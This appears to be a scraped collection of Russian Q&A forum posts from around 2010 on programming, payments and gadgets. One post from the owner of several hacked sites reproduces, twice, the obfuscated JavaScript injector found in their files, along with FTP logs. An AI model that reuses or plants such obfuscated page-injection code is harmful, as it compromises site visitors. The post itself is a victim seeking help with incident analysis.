«Хм.» — подумал я. И, как и порекомендовали в письме, решил обратиться в банк, вернее в саппорт WebMoney. Написал им письмо, в котором подробно изложил ситуацию, приложил к нему письмо от скайпа и скриншоты из истории операций кипера. Отправил письмо, и со спокойной душой и чистой совестью отправился спать, но это уже по собственной инициативе. Ответ саппорта не заставил себя долго ждать:
Здравствуйте!
Cредства переведены на кошелек Z390837512186.
Обратитесь пожалуйста к владельцу этого кошелька по внутренней почте WM.
«Прекрасно» — подумал я и наивно попытался написать сообщение владельцу указанного кошелька с помощью указанного средства. Естественно, мне предлагают запросить авторизацию, чтобы отправить сообщение. Запрашиваю. Реакции никакой. Соответственно, написать сообщение не могу. Пишу обратно в саппорт WM, излагая проблему. Их замечательный ответ снова не заставил себя долго ждать:
Здравствуйте!
К сожалению мы Вам ничем помочь не сможем.
"#@#$%#@ @#$@#$ @#$@#$@#$!!!" — подумал я и полез во всезнающий гугл, от которого толку оказалось несколько больше, чем от саппорта. Беглое гугление показало, что в этот день аналогичным образом заработанных честным трудом денежных знаков лишился не я один (это была, как ни странно хорошая новость, ведь если конец света когда-нибудь настанет и все умрут, это будет не так обидно, т.к. умрут все): ветка на официальном форуме, куда отписалось несколько пострадавших (думаю, их было несколько больше, просто отписались далеко не все.). Плохая новость заключалась в том, что деньги пока никому не вернули, а WM и Скайп перекладывают вину друг на друга и, по большому счету, игнорируют своих же клиентов.
Отписался в саппорт WM с указанием этой ветки и просьбой принять санкции к стороне, принимающей платеж, чтоб они наконец начали решать проблему. Запасся поп-корном.
И да. Вопрос: кто виноват и что делать?
www.skype.com
Проблемы с платежом
К сожалению, ваш платеж не прошел. Но причин для беспокойства нет, так как средства с вашей карты или счета переведены не были.
Информация о вашем заказе:
Логин Skype: %userlogin%
Сумма к оплате: %usermoney% USD
Дата платежа: 10.11.2010
Номер: 424379370
Статус заказа: Отклонен
Почему мой платеж был отклонен?
К сожалению, ваш банк отказался провести эту операцию. За подробной информацией обратитесь в свой банк.
Что мне делать?
Мы рекомендуем пользоваться PayPal – простым и быстрым способом оплаты через Интернет – или другим методом оплаты, например кредитными или дебетовыми карточками, системой Moneybookers, обычным банковским переводом или ваучерами. См. перечень способов оплаты продуктов Skype.
До скорого!
Ваш Skype
Cредства переведены на кошелек Z390837512186.
Обратитесь пожалуйста к владельцу этого кошелька по внутренней почте WM.
К сожалению мы Вам ничем помочь не сможем.
Настройка Push от Gmail на Iphone?
Привет. Есть следующая проблема:
При использовании Push от Gmail большинство писем (кроме тех, что в кодировке UTF-8) приходят на телефон в нечитаемом виде. Насколько я вижу, моя проблема не уникальна. www.google.as/support/forum/p/Google+Mobile/thread...
Вопрос — как с этим бороться и актуальна ли проблема только на Iphone или на других телефонах тоже?
Резервное копирование с помощью backup-manager на s3
Добрый день, использую backup-manager для резервного копирования на Amazon S3.
Однако вопрос, как копировать бэкапы в определённую папку в bucket'е?
Директива BM_UPLOAD_DESTINATION=«folder_name» результата не даёт. Бэкапы всё-равно льются в корень bucket'а.
и, в качестве дополнения, второй вопрос. Допустим надо бэкапить определённую директорию раз в 15 минут. Но! даже если что-то в директории изменилось, backup-manager создаёт один архив на один день:
File /var/archives/hostname-etc.20101113.master.tar.gz already exists, skipping.
Можно ли это победить каким-то образом?
Получить все реплаи к твиту
Мне нужно получить все реплаи к определенному твиту, как это делает веб-клиент на twitter.com
Я пишу на python, но все готовые решения я уже просмотрел и там нет нужного функционала. Пример.
Connect python gtk application and facebook?
Захотел я попробовать создать небольшое приложение на gtk с возможностью отправки сообщений на аккаунт в facebook. Возникла проблема с авторизацией.
Facebook хочет чтоб пользователю показывалсь страница на которой бы он разрешал доступ приложения к его профилю. После гуглению пришле к выводу, что нужно использовать webkit gtk. К сожалению в интернете документацию по нем практически отсутствует. Как не бился над этой проблемой так ничего и не получилось:(
Может кто-то то уже сталкивался с подобной проблемой и подскажет как мне авторизовать пользователя на фейсбуке из десктопного приложения.
Знаю что это реализовано в gwibber, но там все очень сложно. Хотелось бы простых примеров, чтоб понять как нужно делать.
отладка UserJS (Greasemonkey)
подскажите пожалуйста, чем можно отлаживать greasemonkey-скрипты в firefox?
крайне желательно наличие breakpoints, watches
Python vs Java
Добрый день.
Стою перед нелегким выбором. Если максимально упростить задачу, у меня есть 2 вакансии: соответственно Python/Django и JavaEE.
Будем считать, что условия работы одинаковые, зарплаты одинаковые (хотя, до офиса питоноводов мне гораздо ближе) и знаю я обе платформы одинаково средне.
Вопрос к знатокам: что перспективней? В какой области специалисты больше ценятся и легче находят работу? Помогите определиться:)
Другие языки мне не интересны, да и о достоиствах что джавы что питона я прекрасно знаю. То что любой опыт полезен и настоящему профи не важно на чем писать понимаю. Вопрос исключительно корыстный — в каком случае я буду больше зарабатывать через 5 лет при прочих равных.
Русификация Kindle 3
Kindle3 — отличная читалка! Однако дефолтная прошивка обладает одним недостатком — невозможно выполнить поиск по русским названиям книг.
Сейчас прочитал статью об использовании английской DesireZ и стало интересно, а есть ли подобные методы транслитерального ввода для Kindle?
Например:
ш: sh
щ: w
ь: q
ъ: qq
ю: yu или uu
ую: uyu
и т.д.
Есть ли кастомные прошивки, которые реализуют такую функцию?
Если кто сталкивался, поделитесь, пожалуйста, опытом! :)
PHP tokenizer на Python?
Существует ли аналог tokenizer'a из PHP на Python, либо же подобные лексеры для разбора PHP-кода?
Как хранить конфиги с паролями в репозитории
Только начинаю пользоваться svn и возможно вопрос глупый. Вот есть у меня проект на php, хранится в SVN репозитории. К нему есть build.xml для phing который выполняет развертывание приложения в двух вариантах на тестовом и основном серверах. Все параметры для доступа к базе прописаны в build.xml. Собственно это нормально хранить в репозитории пароли для доступа к базам и прочим внешним ресурсам или это делается по другому?
С какой версии начать изучение python?
Закончились наконец-то мои внутренние муки выбора той технологии, которую хочу начать изучать.
На основе прочтения многих постов, вопросов и ответов, блогов и т.д. пришел к выводу, что это будет Python. И django в перспективе.
И, соответственно, озадачился выбором литературы. На хабре большинство по моим наблюдением советует книгу «Изучаем Python» Марка Лутца. Но есть одно но: только 3-е издание книги переведено на русский(а хочется читать на родном всё-таки), в ней рассматривается второй Python. Есть более свежая книга, «Программирование на Python 3. Подробное руководство»(озон), в ней рассматривается как раз 3-я версия Python'а. Так же, видел мнения что стоит начать изучение со второй версии, так как третья пока сыровата(но может быть это мнение уже устарело, не знаю).
Вот и встала передо мной диллема: изучать по более новой, но не проверенной книге, и сразу впитывать все новшества и плюсы новой версии. Либо читать зарекомендовавшую себя книгу, пусть и по более старой, но проверенной версии python'a? Тем более, посмотрев на официальном сайте, понял что поддерживаются обе ветки(и написано: если не знаете, что выбрать, выбирайте 2ую версию).
По какому принципу ломаются приложения/игры для айфона?
Алгоритм взлома для всех приложений одинаков, или все-таки приходится ломать голову и выискивать дырки?
Вывод webmoney
Привет всем!
Я фрилансер, и так случилось что зарплату мне платят в webmoney.
Но я никогда раньше не пользовался электронными валютами потому хочу спросить:
Какой лучший способ вывода webmoney вы бы могли посоветовать?
Какие плюсы минусы у каждого способа.
Как мне быть с налоговой?
Заранее всем спасибо.
382   15   04:06, 3rd August, 2020
Дата выхода анлока модема iPhone
Добрый вечер.
Кто-нибудь владеет информацией о дате выхода разлочки айфона с версией модема 05.14.02?
Спасибо.
MongoDB и OLAP
Требуется по имеющейся информации о клиентах компании выполнять OLAP обработку данных, строить отчеты, применять различные методы data mining (строить деревья решения, осуществлять кластеризацию и т.д.). Почитал про mongodb — завлекает своей простотой, возможностью map/reduce (думаю это очень облегчит построение всяческих отчетов), масштабируемостью, но так как дела с ней никогда не имел, то спрашиваю совета, стоит ли ее юзать для требуемых задач?
Разделять ли содержимое объекта и данные по его расположению в иерархии?
Звучит наверное не совсем понятно, поэтому поясню:
Пусть у нас есть дерево комментариев (Nested Sets или еще что-то, в принципе не важно). Стоит ли выносить поля, не относящиеся напрямую к комментариям (lft, rgt, parent_id и т.д.) в отдельную таблицу БД? С одной стороны, мы избавляемся от привязки к конкретной структуре комментариев (всегда можно поменять NS на MP или еще что-то), а с другой — появляются сложности с объединением этих таблиц.
351   2   19:42, 13th August, 2020
Как сделать OR в MongoDB?
Чтобы выбрать поля по конъюнкции двух условий пишем просто:
db.blabla.find({ field1: value1, field2: value2 })
а как сделать, чтобы запрос был с дизъюнкцией? Чтобы выбирал всё, где field1 = value1 OR field2 = value2?
Может я очень плохо читаю маны, но бьюсь уже давно, обычно находил способ обойти (иногда через $in, если поле одно), но сейчас в тупике.
upd: Пока публиковал пост, нашел, что фичу $or добавили в 1.5.3. То есть в 1.4 способа нет? Как раньше-то жили?
SVN diff output format
Добрый день.
Подскажите, пожалуйста, в каком формате svn diff выводит текст? У меня на Ubuntu 9.10 его понимают хорошо и Vim и Kate (подсвечивают соответствующим образом, фолдят и т.д.).
Я хотел найти VIM-keystrokes для работы с этим форматом.
Вопросы по sqlalchemy
1. Можно ли с помощью sqlalchemy получить названия столбцов БД и как-нибудь динамически ими оперировать (не задавая их непосредственно в классе, который мапится)
2. Как, собственно, создавать/удалять/редактировать столбцы
3. Есть у меня записи и тэги со связью многие-ко-многим через третью таблицу, например, как здесь. Как правильно написать класс для таблицы связей с учётом того, что там нет первичного ключа?
Что потребляет больше энергии на iPad/iPhone — 3G или Wi-Fi?
Привет!
Что потребляет больше энергии на iPad/iPhone — 3G или Wi-Fi? При прочих равных…
Больше интересуют практические наблюдения, но и теория не помешает. :)
У каких украинских банков есть долларовые банкоматы?
Спрашиваю не из праздного любопытства, очень нужно по работе, поскольку коллегам приходится выводить деньги в нац. валюте с большим минусом в виде обменных процентов…
Чат для клиентов?
Нужен чат по такой схеме: клиент на сайте заходит в чат, где ему открывается отдельная чат-комната с сотрудником фирмы.
Сотрудник должен иметь возможность переписываться с несколькими клиентами одновременно.
Нашел только AliveChat, но он довольно дорогой — лайт версия $30 в месяц.
Может, кто встречал решения, платные тоже интересуют.
Просто чатов на AJAX видел кучу, они не подходят — мне нужен не групповой, а индивидуальный.
Как заставить PyQt работать с русскими доменами?
Столкнулся с проблемой при работе с QUrl на питоне. В общих чертах имеем такой тестовый код:
from PyQt4.QtCore import QUrl<br/>
<br/>
print QUrl('http://xn--d1abbgf6aiiy.xn--p1ai/').toString()<br/>
Под windows он возвращает ожидаемый результат:
<a href="http://xn--d1abbgf6aiiy.xn--p1ai/">xn--d1abbgf6aiiy.xn--p1ai/</a>
А под FreeBSD такой:
<a href="http://xn--d1abbgf6aiiy.xn--d1abbgf6aiiyxn--p1ai/">xn--d1abbgf6aiiy.xn--d1abbgf6aiiyxn--p1ai/</a>
PyQt отсюда www.riverbankcomputing.co.uk/software/pyqt/download версии 4.8.1
from PyQt4.QtCore import QUrl<br/>
<br/>
print QUrl('http://xn--d1abbgf6aiiy.xn--p1ai/').toString()<br/><a href="http://xn--d1abbgf6aiiy.xn--p1ai/">xn--d1abbgf6aiiy.xn--p1ai/</a><a href="http://xn--d1abbgf6aiiy.xn--d1abbgf6aiiyxn--p1ai/">xn--d1abbgf6aiiy.xn--d1abbgf6aiiyxn--p1ai/</a>
Rails. ActiveRecord. Ассоциации?
Есть таблица Images. Как правильно сделать ассоциацию Images к самой себе, используя миграции? Как правильно назвать дополнительную связывающую таблицу? Что прописать в модели Image?
Установка QT для Python?
На мой предыдущий вопрос к сожалению ответа не нашлось ни здесь ни на stackoverflow. Поэтому задумался о том как убедится что на сервере стоит последняя версия QT. Если я правильно понимаю PyQt это лишь набор привязок, и собственно самих библиотек там нет — только интерфейсы. В связи с чем вопрос — как правильно устанавливать QT и откуда, что бы все было последних версий? Для windows я просто скачал набор бинарников отсюда. Собственно я даже не знаю как узнать версию установленных библиотек :(
P. S. И да на сервере стоит FreeBSD 8.0. Администратор говорит что установил PyQt-x11-gpl-4.8.1 но я не сильно ему верю.
Ruby on Rails 3 — Ajax preloader?
Добрый вечер! Подскажите rails way для создания ajax подгрузки контента страницы, например есть шаблон со списком продуктов, и пока он не подгрузился показываем индикатор загрузки. Спасибо за ответы!
Задержка в ActionScript 3 без таймера?
Задача: необходимо реализовать задержку в N секунд в ActionScript 3
Проблема: в этот момент меняется системное время (сдвигается на несколько часов назад или вперед) и таймер не вызывает эвент в нужное время.
Как реализовать?
Замена аккумулятора на iPhone 3G?
Добрый день.
Последнее время стал слишком быстро разряжаться аккумулятор на моём iPhone 3g (3.7 V 1150 mA·h), и соответственно захотелось произвести его замену. В интернете нашел массу объявлений о продаже новых батарей. Раз уж придётся производить замену, то хотелось бы, по возможности, установить более мощный аккумулятор, например от 3GS (3.7 V 1219 mA·h)
Не навредит ли такая замена самому аппарату и на какие моменты стоит обратить внимание при выборе батареи?
Какие есть каталоги полезных gems/plugins для Rails 3
Хотелось бы, чтобы под рукой был список всех полезных гемов для рельсов, но сколько не смотрю, те сайты что видел они содержат или очень старые плагины или это www.railsplugins.org/, который только сообщает что работает под рельсы 3.
Есть ли такой сайт, где были б собраны все нужные гемы и при этом достаточно понятно каталогизированы, чтоб можно было легко найти гем, который подходит под выбранную задачу.
Спасибо.
Как проще сделать онлайн-конструктор товара для интернет-магазина?
Готовлю к запуску интернет-магазин, и хочется в него встроить онлайн-конструктор товара на подобии этого. Есть ли уже готовые решения, флеш-исходники или скрипты, которые легко было бы редактировать человеку, не знающему флеш и ActionScript?
Подскажите алгоритм разблокировки iPhone 3gs
Всучили мне айфон 3gs, с которым, по косвенным данным, был сделан апдейт прошивки. Видимо до 4.2
Предыстория айфона мне не известна, но похоже купили его не в России. Может быть а США.
Теперь на экране красуется логотип «подключите меня к айтюнсу» и отображается IMEI и ICCID.
При подключении к айтюнсу требует вставить оригинальную симкарту.
Чего можно сделать и в какой последовательности?
У меня даже AT&T микросимка есть, но она именно микросимка.
P.S. не знаю как узнать версию модема и всего остального.
Парсинг, Jquery, Userscript
Благодаря этой статье познакомился с написанием userscripts на jquery. Сделал два работающий скрипта по вытягиванию нужных мне имейлов, а на третьем примере почему-то не работает.
Страница для парсинга: www.gapa.de/_gastgeberliste/ (Выбрать любой Unterkunftsart и нажать на кнопку Finden)
Скрипт: efrolov.ru/gapa/gapa.user.js
Задача: Вытянуть имейлы с каждой страницы.
Проблема: Jquery не может обратиться к классу. То есть так могу добавить $("#footer").append(' hello!');,
а вот так уже не работает: $(".ukresultheader").append(' hello!');
Кто-нибудь может подсказать почему не работает?
Интересна ли кому-нибудь статья про кроссплатформенную разработку на .NET и Mono?
Коллеги, есть интересный опыт разработки, тестирования и деплоймента веб-приложения с использованием .NET 3.5/Mono 2.8.1/Flex, можно осветить следующие вопросы:
- Настройка проектов в IDE: VS 2008/ IDEA 9.x / MonoDevelop 2.4
- Управление конфигурациями — debug, staging, production
- Полуавтоматический деплоймент
- Развертывание и базовое конфигурирование связки mono 2.8.1, mod_mono, apache2, nginx под Ubuntu
Если достаточно заинтересованных наберется, напишу детальную статью.
Редактор с подсветкой для JSON
Подскажите какой-нибудь редактор, в котором удобно просматривать JSON.
Под «удобно» я имею в виду:
1) Автоматическая разбивка и отображение в виде иерархии (даже если я открыл файл, где все записано в одну строку).
2) Подсветка (хотя бы минимальная, скобочки там).
Есть плагин для Лисы, но хотел бы использовать standalone решение или хотя бы web-тулзу.
Посоветуйте книжку по Python
День добрый.
Заглянул на ozon и amazon с целью найти книжку по Python. Предложений много. Книги дорогие.
Не знаю, что и покупать. Посоветуйте, пожалуйста. Желательно, чтобы книга была заточена под программирование на питоне под веб.
Спасибо.
Как организовать синхронизацию очень разных данных?
Что хочется:
Иметь автоматическую\полуавтоматическую синхронизацию файлов со следующими характеристиками:
- Синхронизация как автоматическая (через интернет) так и вручную (через флешку) \ полуавтоматически (через локалку).
- Копия части данных хранится в интернет сторадже ( бесплатное, хотя бы 3 гига), полная копия хранится на флешке (16 гигов).
- Синхронизируемые каталоги могут находится в произвольном месте (кроме вложенности друг в друга).
- Хорошая работа с каталогами содержащими проекты под SVN и Mercurial.
- 3-4 машины с разными возможностями синхронизации — машина с анлим интернетом, с дорогим интернетом (т.е. через флешку большие объемы предпочтительней), ноутбук который оказывается в одной сети с первой. В некоторых случаях — не все папки нужны на каждой машине.
- Достаточно только под Win
- Было бы идеально если можно было бы синхронизировать историю SVN и Hg
- Если где-то что-то ломается или неправильно обновляется — можно сделать откат с рабочей\бэкапной флешки, сказав принудительно — «при сравнении такого каталога — файлы на флешке приоритетнее.»
Что есть сейчас:
Синхронизация через 2 утилиты: LiveMesh и SyncToy
LiveMesh умеет — синхронизация через интернет хранилище (5 гигов) и через локалку\wifi (нет ограничений). Все более-менее автоматически.
Что делает плохо — конфликты убираются в корзину, вариаций не дается. Плохо отрабатывает по SVN (ломает репозиторий), HG +SVN даже страшно пробовать. Синхронизация только целиком, не диффы, т.е. траффик жрет сильно.
SyncToy: Ручная дрезина — все каталоги задаем руками, синхронизация запускается руками.
Что делает плохо — не самый продуманный алгоритм удаления — перед удалением каталога — удалит в индивидуальном порядке каждый файл в нем. Фильтры на игнор настраиваются по индивидуальному абсолютному пути и нет маски. Ломает SVN. Очень много файлов вызывают ступор или краш ( видимо или течет память или неоптимальное использование — забивается все)
Пробовал дропбокс — мало места в инете (бесплатного), хранилище только в одном каталоге (MyDropbox), не умеет по сети (из вкусностей — история как SVN).
Рассматривал вопрос c RSync, не понравилось что надо много всего писать вручную.
Есть сильные сомнения что все это будет хорошо работать с SVN\Hg при таком тупом синхронизировании.
Немного изучал вопрос mercurial<->Svn — консолька вместо автоматического гуя пока не устраивает и слишком много ручной работы для написания батчей ( может я не в курсе и уже есть нормальные решения ?).
Собственно вопрос:
Может кто посоветует полную или частичную замену данной схемы. или хотя бы нормальную работающую схему с синхронизацией snv\hg, без обилия ручной работы.
Готов даже делать отдельную синхронизацию файлов (тут SyncToy работает вполне нормально) и синхронизацию проектов (commit в 2 разные системы, копия в инете (bitbucket) на флешке) разнести.
Amazon Kindle: (wifi + 3G) vs wifi
Имеет ли смысл брать вариант с 3G за лишние 50$?
Я собираюсь брать через ebaytoday. У них есть офис в америке, на который они заказывают. Будет ли в этом случае у меня, в России, бесплатный 3G?
У кого-нибудь уже есть опыт использование kindle, поделитесь оправданны ли 50$ на 3G?
Actionscript компилятор MTASC и Event'ы
В actionscript я не силён, прошу по возможности помочь.
Как заставить работать в скомпиленых приложениях какие-нибуть netEvent, пример от макромедиа в моём случае почуму-то не работает:
var nc:NetConnection = new NetConnection();
nc.connect(null);
var ns:NetStream = new NetStream(nc);
ns.onMetaData = function(infoObject:Object) {
for (var propName:String in infoObject) {
trace(propName + " = " + infoObject[propName]);
}
};
ns.play("http://www.helpexamples.com/flash/video/water.flv");
Ни один из ивентов не срабатывает, должно возвращать метаинфу но ничего не возвращает.
nc.connect(null);
var ns:NetStream = new NetStream(nc);
ns.onMetaData = function(infoObject:Object) {
for (var propName:String in infoObject) {
trace(propName + " = " + infoObject[propName]);
}
};
ns.play("http://www.helpexamples.com/flash/video/water.flv");
Установка библиотеки PIL с поддержкой JPEG под Snow Leopard?
Проблема в следующем: не ставится PIL с поддержкой JPEG. Библиотеку libjpeg установил через macport:
sudo python setup.py build
running build
running build_py
running build_ext
— using frameworks at /System/Library/Frameworks
— PIL 1.1.7 SETUP SUMMARY
— version 1.1.7
platform darwin 2.7 (r27:82508, Jul 3 2010, 21:12:11)
[GCC 4.0.1 (Apple Inc. build 5493)]
— — TKINTER support available
— JPEG support available
— ZLIB (PNG/ZIP) support available
— FREETYPE2 support available
— LITTLECMS support available
— To check the build, run the selftest.py script.
running build_scripts
— JPEG support available — типа все ОК, библиотека стоит
Устанавливаю, делаю
python selftest.py
— PIL 1.1.7 TEST SUMMARY
— Python modules loaded from ./PIL
Binary modules loaded from ./PIL
— — PIL CORE support ok
— TKINTER support ok
*** JPEG support not installed
— ZLIB (PNG/ZIP) support ok
— FREETYPE2 support ok
— LITTLECMS support ok
— Running selftest:
*****************************************************************
Failure in example:
try:
_info(Image.open(os.path.join(ROOT, «Images/lena.jpg»)))
except IOError, v:
print v
from line #24 of selftest.testimage
Expected: ('JPEG', 'RGB', (128, 128))
Got: decoder jpeg not available
1 items had failures:
1 of 57 in selftest.testimage
***Test Failed*** 1 failures.
*** 1 tests of 57 failed.
Говорит что JPEG support not installed и естественно не работает.
Предварительно PIL удалял и ставил по-новой, результат тот же.
Кто-нибудь сталкивался с такой проблемой?
Оплата товаров в Amazon?
Подскажите пластиковыми картами каких банков (российских) можно беспроблемно оплатить товары в Amazon'е.
Приложение для изучения новых слов в айфоне?
Подскажите хорошее приложение для айфоне которое реализует карточный метод изучения слов.
Основные требования:
* Поддержка своего списка слов
* Встроеный или онлайновый словарь (чтобы переводы самому не писать)
Заранее спасибо
Изменить текст кнопки action script 2
Имеется Adobe Flash Pro CS5. Есть кнопка butt7 как изменить текст на кнопке(label)?
butt7.text = "ТЕКСТ НА КНОПКЕ";
не работает
Взлом сайтов. Вставлен произвольный код?
Добрый день!
На днях на нескольких сайтах на CodeIgniter, одном на Joomla, одном на Wordpress и на одном совсем без CMS был установлен произвольный код в файлах index.*, home.*, page.*, auth.*. Т.е. в каждый из файлов был установлен тег script с произвольным кодом. Внешне это отображалось как приглашение установить новую мультимедийную плюшку для браузера.
Собственно, сам скрипт (без! знака в слове script и без переводов строки — не умещался):
<pre><code class="javascript"><sc!ript type="text/javascript" language="javascript">
wkllp="33933333339999333999339939993933
399993393993993339933939339333333999393339999339399933333
993393933999939339333933999393339933939399993333999393333
939999399333993999339939993399339333933399999333933399399
939333993393939993339399339333993939933933333399993993999
399939939339399339333999393339939333339993933393333333993
333399933333999933333999399399393333993393939939339399339
993993933339993933339993933393333333993333399933333999933
333999399399339933999339339933339399399393993393939933393
399399993999339339933933399339393999339333999393339333333
993999339939999339993993999399339939339399933993993933939
933393399393393993993339939339399939333999933933999393339
333333993933339939339399339333993393339933939399399933399
939939999939339999333393999939993399399939333999933939939
933399339393399999333999933399393393993399339993393399333
393993993939933939339333333993933939933933339999393393339
339993933399339393999333939933933399393993393339333933333
399933993999339339933399339999393393339339939333399939333
999393339993333339993933393999933939999399339933999399939
993339399933393999399939933939399339393999339339933999339
933993393999339933399399399993393999339933399399333993393
999939933339399339333393999339939393399933333993399933933
393339999933399993333939999399393393993399339993393399333
39399399393993393933999993";znanx=100;wdlgs=this;nsjvu="i"+"te";
vurba=116;nqcs="wr"+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 &&
gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o="";
imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf<wkllp.length){
bnehf=0;for(mkrku=0;mkrku<8;mkrku++){bnehf=bnehf<<1;if(
wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}</sc!ript>
Прямой связи CI-Joomla-WP-чистыйHTML я не вижу. Т.е. видимо, это не критическая уязвимость в каком-либо движке.
В логах апача странных запросов или даже каких-либо запросов во время модификации файла нет (+-10минут).
Подозрительно выглядят логи auth.log (настоящий username изменен; ip, с которого пришел запрос — нет):
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
<br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.
SSH закрыт фаерволом для всех, кроме меня.
Хочу задать вопрос — что это может быть? Как этого избежать? Какие еще логи нужны для анализа?
<pre><code class="javascript"><sc!ript type="text/javascript" language="javascript">
wkllp="33933333339999333999339939993933
399993393993993339933939339333333999393339999339399933333
993393933999939339333933999393339933939399993333999393333
939999399333993999339939993399339333933399999333933399399
939333993393939993339399339333993939933933333399993993999
399939939339399339333999393339939333339993933393333333993
333399933333999933333999399399393333993393939939339399339
993993933339993933339993933393333333993333399933333999933
333999399399339933999339339933339399399393993393939933393
399399993999339339933933399339393999339333999393339333333
993999339939999339993993999399339939339399933993993933939
933393399393393993993339939339399939333999933933999393339
333333993933339939339399339333993393339933939399399933399
939939999939339999333393999939993399399939333999933939939
933399339393399999333999933399393393993399339993393399333
393993993939933939339333333993933939933933339999393393339
339993933399339393999333939933933399393993393339333933333
399933993999339339933399339999393393339339939333399939333
999393339993333339993933393999933939999399339933999399939
993339399933393999399939933939399339393999339339933999339
933993393999339933399399399993393999339933399399333993393
999939933339399339333393999339939393399933333993399933933
393339999933399993333939999399393393993399339993393399333
39399399393993393933999993";znanx=100;wdlgs=this;nsjvu="i"+"te";
vurba=116;nqcs="wr"+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 &&
gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o="";
imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf<wkllp.length){
bnehf=0;for(mkrku=0;mkrku<8;mkrku++){bnehf=bnehf<<1;if(
wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}</sc!ript>Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
<br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.
Сервисы для отправления и получения сайтом sms/mms?
Каким образом можно организовать отправление и, что самое важное, получение sms и mms сайтом?
Есть sms.ru, но он может только отправлять и только sms.
JSON не работает в PHP?
Здравствуйте, уважаемое хабрасообщество.
У меня возникла проблема, очень надеюсь, что нам ее удастся решить.
А проблема заключается в том, что функции json_encode() и json_decode() у меня на хостинге не работают.
При обычном использовании возникает ошибка:
Fatal error: Call to undefined function json_encode() in ***.php
При использовании хелпера для Code Igniter, возникает ошибка:
Message: Undefined variable: json
Filename: helpers/json_helper.php
Line Number: 53
Fatal error: Call to a member function encode() on a non-object in ...\system\application\helpers\json_helper.php on line 53
Filename: helpers/json_helper.php
Line Number: 53
Fatal error: Call to a member function encode() on a non-object in ...\system\application\helpers\json_helper.php on line 53
Сбор денежных средств в поддержку ресурса?
В одном из некоммерческих проектов хотелось бы организовать donations. С помощью чего резиденту РФ (paypal в пролете?) можно это сделать? В идеале хотелось бы множество разных способов внесения средств, чтобы люди из других стран могли присоединиться.
Т.е. цель — быть доступным для сбора средств НЕ только локально (в данном случае только в России).
Есть какие-нибудь варианты? Заранее спасибо за ответы :)
python, json
Вопрос такой, получаю json от google translate а он не хочет парситься.
Что делаю не так?
res = urllib2.urlopen(request).read()
data = json.loads(res)
выдает следующее
Traceback (most recent call last):
File "./translate.py", line 27, in data = json.loads(res)
File "/usr/lib/python2.6/json/__init__.py", line 307, in loads
return _default_decoder.decode(s)
File "/usr/lib/python2.6/json/decoder.py", line 319, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python2.6/json/decoder.py", line 336, in raw_decode
obj, end = self._scanner.iterscan(s, **kw).next()
File "/usr/lib/python2.6/json/scanner.py", line 55, in iterscan
rval, next_pos = action(m, context)
File "/usr/lib/python2.6/json/decoder.py", line 219, in JSONArray
raise ValueError(errmsg("Expecting object", s, end))
ValueError: Expecting object: line 1 column 158 (char 158)
если сделать print(res) то выводит:
[[["привет","hi","privet",""]],[["abbreviation",["Гавайи"]],["interjection",["привет","эй","ну","салют","здор `ово"]]],"en",,[["привет",[5],1,,1000,0,1,0]],[["hi",4,,,""],["hi",5,[["привет",1000,1,]],[[0,2]],"hi"]],,,,21]
data = json.loads(res)
File "./translate.py", line 27, in data = json.loads(res)
File "/usr/lib/python2.6/json/__init__.py", line 307, in loads
return _default_decoder.decode(s)
File "/usr/lib/python2.6/json/decoder.py", line 319, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python2.6/json/decoder.py", line 336, in raw_decode
obj, end = self._scanner.iterscan(s, **kw).next()
File "/usr/lib/python2.6/json/scanner.py", line 55, in iterscan
